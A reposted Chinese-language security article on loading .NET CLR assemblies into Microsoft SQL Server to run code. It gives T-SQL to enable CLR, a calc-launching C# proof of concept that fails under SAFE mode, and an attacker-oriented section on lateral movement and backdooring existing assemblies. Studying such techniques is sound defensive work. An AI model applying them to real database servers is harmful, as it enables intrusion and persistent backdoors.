加入收藏 | 设为首页 | 会员中心 | 我要投稿 云计算网_泰州站长网 (http://www.0523zz.com/)- 视觉智能、AI应用、CDN、行业物联网、智能数字人!
当前位置: 首页 > 服务器 > 安全 > 正文

利用MSSQL加载运行CLR代码

发布时间:2021-12-13 12:35:21 所属栏目:安全 来源:互联网
导读:简介 为了满足数据库用户代码访问诸如表和列的数据库对象和数据库管理员代码控制对操作系统资源的访问(如文件和网络访问)的能力,微软在SQL Server2005之后为其引入CLR在MSSQL中运行.NET代码的能力,用户可以在托管代码中编写存储过程(stored procedures
简介
为了满足数据库用户代码访问诸如表和列的数据库对象和数据库管理员代码控制对操作系统资源的访问(如文件和网络访问)的能力,微软在SQL Server2005之后为其引入CLR在MSSQL中运行.NET代码的能力,用户可以在托管代码中编写存储过程(stored procedures)、触发器(triggers)、用户定义函数(user-defined functions)、用户定义类型(user-defined types)、用户定义聚合(user-defined aggregates)等,利用Transact-SQL加载运行托管程序集执行代码。
 
该功能可以被利用加载恶意托管程序集执行恶意代码,扩展在MSSQL上的攻击能力。
 
在后续SQL版本中又增加了各种的保护以限制代码可以访问的内容。
 
使用 Transact-SQL开启CLR
SQL Server中的CLR集成功能默认关闭,开启方式:
 
-- 开启高级选项
sp_configure 'show advanced options', 1
RECONFIGURE
 
-- 开启clr
sp_configure 'clr enabled', 1
RECONFIGURE
 
GO
编写CLR集成托管DLL
MSDN参考文档
 
https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/assemblies-database-engine?view=sql-server-ver15
 
这里编写一个过程处理函数,弹出计算器。
 
using System;  
using System.Data;  
using Microsoft.SqlServer.Server;  
using System.Data.SqlTypes;
using System.Diagnostics;
 
public class HelloWorldProc
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void HelloWorld()
{
Process.Start("calc");
}
}
编译文件
 
csc /target:library C:helloworld.cs
CLR函数
 
1. 必须为静态函数
 
2. 使用CREATE FUNCTION 名称创建函数
 
3. 可以使用P/INVOKE技术访问非托管代码
 
4. MSDN参考文档
 
https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration-database-objects-user-defined-functions/clr-user-defined-functions?view=sql-server-ver15
 
CLR存储过程
 
使用CREATE PROCEDURE 名称创建过程
 
CLR触发器
 
1. 用户定义的聚合函数
 
2. 用户定义的类型
 
访问外部资源
 
CLR函数可以通过使用.NET Framework中的各种类(System.IO、System.WebServices、System.Sql)来实现,例如访问外部资源,例如文件、网络资源、Web服务、其他数据库等,但需要启用EXTERNAL_ACCESS配置权限集。
 
利用
使用Transact-SQL语句部署
 
1. 创建一个查询语句并执行
 
CREATE ASSEMBLY HelloWorld from 'c:helloworld.dll' WITH PERMISSION_SET = SAFE;
2. 执行实例中创建过程、函数、聚合、用户定义类型或触发器
 
CREATE PROCEDURE hello
AS
EXTERNAL NAME HelloWorld.HelloWorldProc.HelloWorld
3. 执行
 
EXEC hello
报错
 
消息 6522,级别 16,状态 1,过程 hello,第 0 行
在执行用户定义例程或聚合 "hello" 期间出现 .NET Framework 错误:
System.Security.SecurityException: 请求失败。
System.Security.SecurityException:
在 HelloWorldProc.HelloWorld()
安全验证失败,SAFE模式下不能创建进程。
看来用这种方式无法取回所有的结果,笔者暂未找到解决方式,欢迎对此感兴趣的同学来交流学习。
 
优势
当攻击者成功从外部进入DMZ区域后,可能会面临一种受限场景,即面临只能正向访问一些特定服务(如数据库和某些Web应用)且服务机器无法出网,如果此时服务机器运行有MSSQL,就可以通过给MSSQL加载恶意托管程序集的方式实现横向扩展。
 
 
 
管理员也可能会加载托管程序访问计算机资源执行任务,通过遍历已加载的程序集并导出到本地,并修改添加后门,通过ALTER更新MSSQL服务器中的程序集。

(编辑:云计算网_泰州站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    热点阅读